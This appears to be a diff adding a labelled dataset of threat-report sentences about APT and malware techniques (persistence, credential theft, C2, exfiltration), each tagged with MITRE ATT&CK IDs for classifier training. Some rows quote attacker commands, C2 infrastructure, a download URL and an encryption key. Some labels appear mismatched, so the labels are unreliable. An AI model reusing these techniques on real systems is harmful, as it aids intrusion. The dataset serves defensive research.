+In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to. Analysis of this IP provides several interesting data points, including possible relationships to previously observed OilRig infrastructure. Examining the hosting provider shows that the IP is associated with an Iranian hosting provider called NovinVPS. The autonomous system name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous system name we have previously seen associated with the OilRig group. In fact, examining the Class C IP block of 185.162.235[.]0/24 shows at least two other IPs we have previously identified as in use by the OilRig group for C2 servers. 185.162.235[.]29 and 185.162.235[.]121 and their associated domains, office365-management[.]com and msoffice-cdn[.]com respectively. Office365-management[.]com was first identified in October 2017 as a C2 servers for OilRig operations delivering the ISMInjector backdoor. Later in February 2018 we were able to link the entire grouping of infrastructure to another campaign delivering the OopsIE backdoor via the reuse of WHOIS registrant artifacts, shared SSL certificates, and a shared Class C IP block. Figure 17 shows the relationship between the files related to DNS hijacking and known infrastructure associated with OilRig.	['T1036.005']
+Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.	['T1587.001']
+Gauss highly modular architecture reminds us of Duqu — it uses an encrypted registry setting to store information on which plugins to load; is designed to stay under the radar, avoid security and monitoring programs and performs highly detailed system monitoring functions. In addition, Gauss contains a 64-bit payload, together with Firefox-compatible browser plugins designed to steal and monitor data from the clients of several Lebanese banks: Bank of Beirut, EBLF, BlomBank, ByblosBank, FransaBank and Credit Libanais. In addition, it targets users of Citibank and PayPal.	['T1082', 'T1005', 'T1033', 'T1119', 'T1027', 'T1140', 'T1176']
+Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.	['T1106']
+An actor successfully tested China Chopper on a second server and stopped the activity. However, we also found another Monero cryptocurrency miner just as we found commodity malware on other systems compromised with China Chopper. The actors first reset the Access Control List for the Windows temporary files folder and take ownership of the folder. They then allow the miner executable through the Windows Firewall and finally launch the mining payload.	['T1562.004', 'T1496', 'T1222.001']
+Then, it reads user-related info from the file sqlxmlx.inc in the same folder (we can see strings referencing to “UserID” commentary in this part of the code). But this file was never created. As you recall, there is a function that should have collected this data and should have saved it into this sqlxmlx.inc file. However, on the first launch, the collected user information is saved into “xmlrwbin.inc”. This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file. There is a chance for the mistaken code to still work — user information could be copied into the send information heap. But not in this case – at the time of writing, the gathered user information variable which should point to the xmlrwbin.inc filename has not yet been initialized, causing the file write to fail. We see that sqlxmlx.inc is not created to store user information.	['T1033', 'T1119', 'T1074', 'T1074.001', 'T1087']
+The Gasket tool referenced a proxying and tunneling capability known as MagicSocks, which is based on the open-source Chisel project. The actors also created a standalone version of MagicSocks that they would use in addition to Gasket. The standalone MagicSocks tool comes as a dynamic link library (DLL), which the actor also wrote in Golang. The developer of MagicSocks uses code from the Chisel project to tunnel traffic from the local system to an external actor-controlled Chisel server. The tool will build the string R:0.0.0.0:50000:socks that it supplies to the Chisel client code that will generate the following JSON that the client uses as a configuration:	['T1572', 'T1095', 'T1090', 'T1090.002']
+UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.	['T1090', 'T1090.001', 'T1090.002', 'T1090.003']
+One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.  The password (reused by many of the password protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe”. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.	['T1140', 'T1027', 'T1059', 'T1059.003']
+The next program sent to victims enumerates all the drives on the infected system and executes the following command on them:	['T1082', 'T1083', 'T1135', 'T1105']
+The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads.	['T1105', 'T1082', 'T1119']
+The very first stage of the implant’s code is a custom loader written by APT3, which extracts an encrypted version of DoublePulsar code from incoming SMB packets, and decrypts and executes it. This is in fact a self-modifying piece of code, i.e. before it actually handles any of the aforementioned functionalities, it must decrypt subsequent parts of itself. The code is wrapped in 2 layers using simple crypters, so the first crypter decodes the second, and the latter decodes the actual loader code.	['T1140', 'T1027', 'T1105', 'T1027.002', 'T1620', 'T1587.001']
+After executing all the commands given by the server, the bot sends a new request to the server. This request contains a complete log of executed commands. If any of the commands require the bot to send data to the server (i.e., SONIA), they are sent in separate HTTP requests preceding the log request. These requests can also be redirected do a different C&C, if specified in the command parameters.	['T1041', 'T1071', 'T1071.001', 'T1008', 'T1020', 'T1119']
+This Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256: 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE Trojan we described in detail in a blog we published in September 2018. This suggests that the server displayed in the VPS control panel may have indeed been in use by the OilRig threat actors at the time of attack. In addition, two of the other IPs listed in this panel, 185.161.209[.]57 and 185.161.210[.]25 are in the same 185.161.208[.]0/22 range as an IP associated with the DNSpionage campaign, 185.161.211[.]72. This is a tenuous relationship at best and does not indicate that the OilRig group is the one executing the DNSpionage campaign, but with the combination of the use of DeltaHost and IPs belonging to a fairly small range, there may be reason to believe that these are related to some extent.	['T1140', 'T1036']
+“Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka “Excel Featheader Record Memory Corruption Vulnerability.”  .	['T1203']
+Exploitation of CVE-2016-0167 a Microsoft Windows Privilege Escalation vulnerability to gain SYSTEM level privileges. Earlier versions of Shifu exploited CVE-2015-0003 to achieve the same goal. Use of a Windows atom to identify if the host is already infected with Shifu in addition to the mutex used by previous versions. Use of “push-calc-ret” API obfuscation to hide function calls from malware analysts. Use of alternative Namecoin .bit domains.	['T1068', 'T1106']
+This artifact is interesting as the shellcode executed relies on Windows APIs and the payload installed is a Windows DLL that would not run on OSX. This flag does suggest that the threat actors do consider the OSX operating system when developing their malicious exploit code in cross platform file types, such as Flash SWF files. While we cannot confirm this, it is possible that the threat actors could use DealersChoice.A to exploit and load an OSX Trojan if prepared with the appropriate shellcode.	['T1106']
+While we do not have telemetry showing how the CASHY200 PowerShell backdoor was delivered, in September 2019 we observed a host based in Kuwait beaconing to the windows64x[.]com domain using the same DNS tunneling protocol as the CASHY200 payload. Fortunately, the beaconing to this domain was blocked by our DNS security service, so the adversary was no longer able to communicate with their payload using this DNS tunnel. By analyzing the lineage of this tool, we found that actors may have used CASHY200 when targeting Kuwait government organizations starting in the spring of 2018 and continuing throughout 2019, according to our open source collection efforts.	['T1572', 'T1071', 'T1071.004']
+The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.	['T1036', 'T1218.005', 'T1559.001']
+12. Execute the exported function “updater” within “MSO1234.win” using rundll32.exe .	['T1218.011']
+In a 2021 campaign, two weeks after PROPHET SPIDER ceased interactive operations, an unattributed actor downloaded a Cobalt Strike stager DLL from a remote IP address. When run with the argument 11985756, the DLL downloaded a Cobalt Strike payload. The adversary used ADFind to enumerate Active Directory, then moved laterally, using a compromised administrative account, and downloading additional Cobalt Strike Beacon payloads onto some systems, or using PSExec to run Cobalt Strike. The adversary further used PowerSploit to enumerate the victim environment. Before deploying ransomware, the adversary staged data in ZIP archives and likely exfiltrated these archives. Batch scripts subsequently deployed MountLocker across the victim environment.	['T1105', 'T1570', 'T1074', 'T1059', 'T1005', 'T1078.002']
+Managed Defense, utilizing FireEye Endpoint Security technology, detected and responded to the threat activity identified within the customer’s environment. The subsequent investigation revealed FIN6 was in the initial phase of an intrusion using stolen credentials, Cobalt Strike, Metasploit, and publicly available tools such as Adfind and 7-Zip to conduct internal reconnaissance, compress data, and aid their overall mission.	['T1105', 'T1078']
+The second stage of the attack is downloaded from “http://www.hotinfonews.com/news/dailynews2.php”and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.	['T1105', 'T1203']
+Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.	['T1569.002', 'T1106', 'T1543', 'T1569']
+The main Trojan body is encrypted “XOR 0xDE” and stored as hex text inside the RTF file. The shellcode simply writes the main dropper to a file named “msmx21.exe” in the %TEMP% folder and runs it. It also extracts a fake document which is shown to the victim if the exploit has been successful.	['T1140', 'T1027', 'T1036']
+This is another aspect that has stayed unmodified in GandCrab 2. Once the information collection phase is over, GandCrab moves to terminate a wide range of processes that might be running on the victim machine and might be holding write access to files. This technique has been previously documented as a part of the Cerber ransomware, and prevents a scenario where GandCrab will attempt to encrypt a file and fail to obtain write access to the file because it is already open in another application. Process termination is done by the standard method of invoking the CreateToolhelp32Snapshot windows API and then iterating over the processes with Process32First and Process32Next. The list shares enough common processes with the one used by Cerber that it’s probable to assume the list was based on the one used in Cerber originally. The list of targeted processes is constant throughout both versions of GandCrab:	['T1057', 'T1106']
+This “transfer” decryption routine returns a URL that is concatenated with the other variables, resulting in”hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win”. It is this content that is written to disk and executed on the victim’s machine. A description of that downloader follows. It is most interesting that this exploit/php combination’s encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests that potentially this limited use package was developed separately from the rest for a specific target.	['T1105']
+Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. Additionally, the malware looks for multiple security products on victim machines and sometimes alters its behavior depending on the products present. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. These security products included those that are known to be most widely used within South Korea and Taiwan. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. However, the obfuscation mechanism varies slightly. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this:	['T1027', 'T1140', 'T1547.009', 'T1547.001', 'T1104', 'T1057', 'T1518.001', 'T1573', 'T1071.004', 'T1071', 'T1001']
+Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.	['T1036.005', 'T1036', 'T1027', 'T1027.005']
+The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.	['T1585.001']
+The sniffer code is similar to the one used in the driver’s “tdip.sys” and “mstcp32.sys” and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traffic on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers-filtering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per filtering rule.	['T1040', 'T1106', 'T1205.002']

datasets/tram/tram_dev.tsv

@@ -0,0 +1,606 @@
+text1	labels
+starts a rootkit from a malicious file dropped to disk.	['T1014', 'T1014']
+can collect the victim user name.	['T1033', 'T1033']
+"""beacon"" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe"	['T1106']
+actors look for and use VPN profiles during an operation to access the network using external VPN services.	['T1133']
+actors used a victim's endpoint management platform, Altiris, for lateral movement.	['T1072']
+actors used the following commands after exploiting a machine with  malware to obtain information about the OS: ver >> %temp%\download systeminfo >> %temp%\download	['T1082']
+adds a Visual Basic script in the Startup folder to deploy the payload.	['T1064']
+adds itself to a Registry Run key with the name guidVGA or guidVSA.	['T1547.001']
+adds itself to the Registry key HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\ for persistence.	['T1547.001']
+adds itself to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to establish persistence upon reboot.	['T1547.001']
+Adversaries can direct  to execute from the command-line on infected hosts, or have  create a reverse shell.	['T1059']
+After creating a new service for persistence,  sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.	['T1070.006']
+After re-establishing access to a victim network,  actors download tools including  and WCE that are staged temporarily on websites that were previously compromised but never used.	['T1105']
+aggregates staged data from a network into a single location.	['T1074']
+A  macro has run a PowerShell command to decode file contents.  has also used  to decode base64-encoded files on victims.	['T1140']
+A  malware sample conducts C2 over HTTP.	['T1071']
+A module in  allows arbitrary commands to be executed by invoking C:\Windows\System32\cmd.exe.	['T1059']
+A module in  collects passwords stored in applications installed on the victim.	['T1003']
+Analysis of  has shown that it regularly undergoes technical improvements to evade anti-virus detection.	['T1027.005']
+An  macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.	['T1140']
+A  tool can add the binary’s path to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to add persistence.	['T1547.001']
+automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.	['T1020']
+A  variant gathers network interface card information.	['T1016']
+A variant of  appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.	['T1027.001']
+C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.	['T1573']
+can access a connected webcam and capture pictures.	['T1125']
+can add a certificate to the Windows store.	['T1553.004']
+can add a Run key entry in the Registry to establish persistence.	['T1547.001']
+can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.	['T1090']
+can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.	['T1016']
+can be used to embed a PowerShell script within the pixels of a PNG file.	['T1027']
+can be used to gather information on permission groups within a domain.	['T1069']
+can create a Windows account.	['T1136']
+can delete all files created during its execution.	['T1070.004']
+can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.	['T1070.004']
+can download files to the victim’s machine and execute them.	['T1105']
+can dump active logon session password hashes from the lsass process.	['T1003']
+can dump Windows password hashes.	['T1003']
+can dump Windows password hashes and LSA secrets.	['T1003']
+can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.	['T1573']
+can execute commands via an interactive command shell.	['T1059']
+can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.	['T1082']
+can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS.	['T1003']
+can gather the victim OS version and whether it is 64 or 32 bit.	['T1082']
+can gather very specific information about attached USB devices, to include device instance ID and drive geometry.	['T1120']
+can grab a system’s information including the OS version, architecture, etc.	['T1082']
+can launch a remote shell to execute commands on the victim’s machine.	['T1059']
+can launch PowerShell Scripts.	['T1059.001']
+can list all running processes.	['T1057']
+can list file and directory information.	['T1083']
+can list running processes.	['T1057']
+can obtain a list of all files and directories as well as logical drives.	['T1083']
+can obtain information about the OS, processor, and BIOS.	['T1082']
+can obtain information about the victim computer name, physical memory, country, and date.	['T1082']
+can obtain information about the victim usernames.	['T1033']
+can obtain system information such as OS version and disk space.	['T1082']
+can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.	['T1082']
+can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.	['T1082']
+can obtain the victim username and permissions.	['T1033']
+can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.	['T1185']
+can perform screen capturing.	['T1113']
+can ping or traceroute a remote host.	['T1018']
+can query shared drives on the local system.	['T1135']
+can record sound with the microphone.	['T1123']
+can retrieve screenshots from compromised hosts.	['T1113']
+can securely delete files, including deleting itself from the victim.	['T1070.004']
+can send process listings over the C2 channel.	['T1057']
+can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.	['T1041']
+can upload and download files to the victim’s machine.	['T1105']
+can upload files from the victim's machine to its C2 server.	['T1041']
+can use public cloud-based storage providers for command and control.	['T1102']
+can walk through directories and recursively search for strings in files.	['T1083']
+can wipe files indicated by the attacker and remove itself from disk using a batch file.	['T1070.004']
+checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.	['T1082']
+checks the system for certain Registry keys.	['T1012']
+checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.	['T1082']
+"checks to see if the system is configured with ""Daylight"" time and checks for a specific region to be set for the timezone."	['T1124']
+collected and exfiltrated files from the infected system.	['T1005']
+collects address book information from Outlook.	['T1114']
+collects a list of accounts with the command net users.	['T1087']
+collects and sends system information to its C2.	['T1082']
+collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.	['T1003']
+collects current and parent process IDs.	['T1057']
+collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.	['T1074']
+collects screenshots of the victim machine.	['T1113']
+collects the network adapter information.	['T1016']
+collects the network adapter information and domain/username information based on current remote sessions.	['T1016']
+collects the victim's %TEMP% directory path and version of Internet Explorer.	['T1083']
+collects the victim hostname, window resolution, and Microsoft Windows version.	['T1082']
+collects the victim’s username.	['T1033']
+command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.	['T1573']
+Commands such as net use and net session can be used in  to gather information about network connections from a particular host.	['T1049']
+communicates over raw TCP.	['T1095']
+communicates to servers operated by Google using the Jabber/XMPP protocol.	['T1102']
+communicates with its C2 server over port 443.	['T1043']
+compressed data into .zip files prior to exfiltrating it.	['T1560']
+connects to external C2 infrastructure and opens a backdoor over port 443.	['T1043']
+connects to external C2 infrastructure over port 443.	['T1043']
+contains a custom keylogger.	['T1056']
+contains a keylogger.	['T1056']
+contains code to compress files.	['T1560']
+"contains several references to football (including ""football,"" ""score,"" ""ball,"" and ""loose"") in a likely attempt to disguise its traffic."	['T1036']
+contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.	['T1070.004']
+contains the getProcessList function to run ps aux to get running processes.	['T1057']
+copies and exfiltrates the clipboard contents every 30 seconds.	['T1115']
+"copies files with certain extensions from USB devices to
+a predefined directory."	['T1025']
+copies itself into a running Internet Explorer process to evade detection.	['T1055']
+copies itself over network shares to move laterally on a victim network.	['T1021.002']
+created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.	['T1136']
+created several .LNK files on the victim's machine.	['T1547.009']
+creates a backdoor through which remote attackers can change C2 servers.	['T1008']
+creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.	['T1083']
+creates a backdoor through which remote attackers can clear all system event logs.	['T1070']
+creates a backdoor through which remote attackers can download files.	['T1105']
+creates a backdoor through which remote attackers can retrieve system information.	['T1082']
+creates a new service named WmiApSrvEx to establish persistence.	['T1543.003']
+creates a new service to establish.	['T1543.003']
+creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.	['T1543.003']
+creates a Registry start-up entry to establish persistence.	['T1547.001']
+creates a scheduled task to ensure it is re-executed everyday.	['T1053.005']
+creates run key Registry entries pointing to a malicious executable dropped to disk.	['T1547.001']
+creates three Registry keys to establish persistence by adding a .	['T1112']
+decoded base64-encoded PowerShell commands using a VBS file.	['T1140']
+default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.	['T1573']
+deletes any temporary files it creates	['T1070.004']
+deletes its dropper and VBS scripts from the victim’s machine.	['T1070.004']
+deletes its original installer file once installation is complete.	['T1070.004']
+deletes its RAT installer file as it executes its DLL payload file.	['T1070.004']
+deletes the .LNK file from the startup directory as well as the dropper components.	['T1070.004']
+delivers malware using spearphishing emails with malicious HWP attachments.	['T1598.002']
+deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.	['T1040']
+downloads its backdoor component from a C2 server and loads it directly into memory.	['T1105']
+drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.	['T1091']
+drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.	['T1091']
+encodes credit card data it collected from the victim with XOR.	['T1486']
+encodes data in hexadecimal format over the C2 channel.	['T1132']
+encrypted the collected files' path with AES and then encoded them with base64.	['T1486']
+encrypts C2 data with a ROR by 3 and an XOR by 0x23.	['T1573']
+encrypts C2 traffic using an XOR/ADD cipher and uses a FakeTLS method.	['T1573']
+encrypts C2 traffic with a custom RC4 variant.	['T1573']
+encrypts collected data with AES and Base64 and then sends it to the C2 server.	['T1486']
+encrypts collected data with an incremental XOR key prior to exfiltration.	['T1486']
+encrypts data with a substitute cipher prior to exfiltration.	['T1486']
+encrypts files with XOR before sending them back to the C2 server.	['T1486']
+enumerates all running services.	['T1007']
+establishes a backdoor over HTTP.	['T1071']
+establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“.	['T1053.005']
+establishes persistence via a Registry Run key.	['T1547.001']
+executed  by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”.  also executed a .dll for a first stage dropper using rundll32.exe. An  loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.	['T1218.011']
+executes code using HTTP POST commands.	['T1071']
+executes the whoami on the victim’s machine.	['T1033']
+exfiltrates collected files automatically over FTP to remote servers.	['T1020']
+exfiltrates collected files via removable media from air-gapped victims.	['T1052']
+exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.	['T1210']
+exploits CVE-2016-4117 to allow an executable to gain escalated privileges.	['T1068']
+extracted documents and bundled them into a RAR archive.	['T1560']
+extracted Word documents from a file server on a victim network.	['T1039']
+gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry.  has searched for given file types.	['T1083']
+gathers a list of processes using the tasklist command and then is sent back to the control server.	['T1057']
+gathers informatin on the IP forwarding table, MAC address, and network SSID.	['T1016']
+gathers network configuration information as well as the ARP cache.	['T1016']
+grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.	['T1134']
+has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.	['T1106']
+has a command to search for files on the victim’s machine.	['T1083']
+has a command to timestop a file or directory.	['T1070.006']
+has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.	['T1105']
+has a function to delete files from the victim’s machine.	['T1070.004']
+has been delivered via Word documents using DDE for execution.	['T1559.002']
+has been known to employ binary padding.	['T1027.001']
+has been known to establish persistence by adding programs to the Run Registry key.	['T1547.001']
+has been seen loaded into msiexec.exe through process hollowing to hide its execution.	['T1055.012']
+has collected .PST archives.	['T1114']
+has commands to get information about the victim's name, build, version, serial number, and memory usage.	['T1082']
+has commands to list drives on the victim machine and to list file information for a given directory.	['T1083']
+has executed malicious .bat files containing PowerShell commands.	['T1064']
+has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.	['T1562.001']
+has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.	['T1036']
+has injected code into trusted processes.	['T1055']
+has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.	['T1070.004']
+has modules that are capable of capturing from a victim's webcam.	['T1125']
+has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.	['T1001']
+has run tasklist on a victim's machine.	['T1057']
+has sent emails containing malicious attachments or links that require users to execute a file or macro to infect the victim machine.	['T1204']
+has sent emails with URLs pointing to malicious documents.	['T1598.003']
+has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.	['T1598.003']
+has several commands to delete files associated with the malware from the victim.	['T1070.004']
+has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”	['T1553.002']
+has signed  payloads with legally purchased code signing certificates.  has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.	['T1553.002']
+has stored captured credential information in a file named pi.log.	['T1074']
+has the ability to change firewall settings to allow a plug-in to be downloaded.	['T1562.001']
+has the ability to initiate keylogging.	['T1056']
+has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.	['T1082']
+has the capability to collect the current logged on user’s username from a machine.	['T1033']
+has the capability to delete files and scripts from the victim's machine.	['T1070.004']
+has the capability to download and execute .exe files.	['T1105']
+has the capability to execute commands using cmd.exe.	['T1059']
+has the capability to gather NTLM password information.	['T1003']
+has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.	['T1008']
+has used a CHM payload to load and execute another malicious file once delivered to a victim.	['T1218.001']
+has used a custom executable to execute PowerShell scripts.	['T1059.001']
+has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.	['T1003']
+has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.	['T1119']
+has used command line during its intrusions.	['T1059']
+has used CVE-2014-4076, CVE-2015-2387, and CVE-2015-1701 to escalate privileges.	['T1068']
+has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.	['T1134']
+has used environment variables and standard input (stdin) to obfuscate command-line arguments.  also obfuscates malicious macros delivered as payloads.	['T1027']
+has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.	['T1203']
+has used forged Microsoft code-signing certificates on malware.	['T1553.002']
+has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name.	['T1036']
+has used HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.	['T1071']
+has used HTTPS and DNS tunneling for C2. The group has also used the Plink utility to create SSH tunnels.	['T1071']
+has used keyloggers.	['T1056']
+has used legitimate credentials to maintain access to a victim network and exfiltrate data. The group also used credentials stolen through a spearphishing email to login to the DCCC network.	['T1078']
+has used legitimate local admin account credentials.	['T1078']
+has used Metasploit’s  NTDSGRAB module to obtain a copy of the victim's Active Directory database.	['T1087']
+has used net user /domain to identify account information.	['T1087']
+has used pass the hash for lateral movement.	['T1550.002']
+has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.	['T1216']
+has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.	['T1053.005']
+has used scheduled tasks to maintain RDP backdoors.	['T1053.005']
+has used stolen code signing certificates used to sign malware.	['T1553.002']
+has used tcping.exe, similar to , to probe port status on systems of interest.	['T1046']
+has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.	['T1095']
+has used the net view command.	['T1018']
+has used  to generate Kerberos golden tickets.	['T1550.003']
+has used UPX to pack	['T1027.002']
+has used WinRM to enable remote execution.	['T1021.006']
+If a victim meets certain criteria,  uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll and HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1.	['T1546.010']
+If establishing persistence by installation as a new service fails, one variant of  establishes persistence for the created .exe file by setting the following Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe. Other variants have set the following Registry key for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self].	['T1547.001']
+injects itself into explorer.exe.	['T1055']
+injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.	['T1055']
+installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.	['T1036']
+Install-SSP Persistence module can be used to establish by installing a SSP DLL.	['T1547.005']
+is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.	['T1542.003']
+is a Web shell.	['T1505.003']
+is capable of deleting the backdoor file.	['T1070.004']
+is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.	['T1083']
+is capable of manipulating the Registry.	['T1112']
+is capable of performing audio captures.	['T1123']
+is capable of persisting via a .lnk file stored in the Startup directory.	['T1547.009']
+is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.	['T1083']
+is capable of running WMI queries.	['T1047']
+is capable of setting and deleting Registry values.	['T1112']
+is capable of stealing usernames and passwords from browsers on the victim machine.	['T1003']
+is capable of taking screen captures.	['T1113']
+is capable of tunneling though a proxy.	['T1090']
+is likely loaded via DLL hijacking into a legitimate McAfee binary.	['T1574.001']
+is obscured using XOR encoding and appended to a valid GIF file.	['T1027']
+leveraged  to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.	['T1003']
+leverages  and  to steal credentials.	['T1003']
+leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.	['T1106']
+lists files on the victim’s machine.	['T1083']
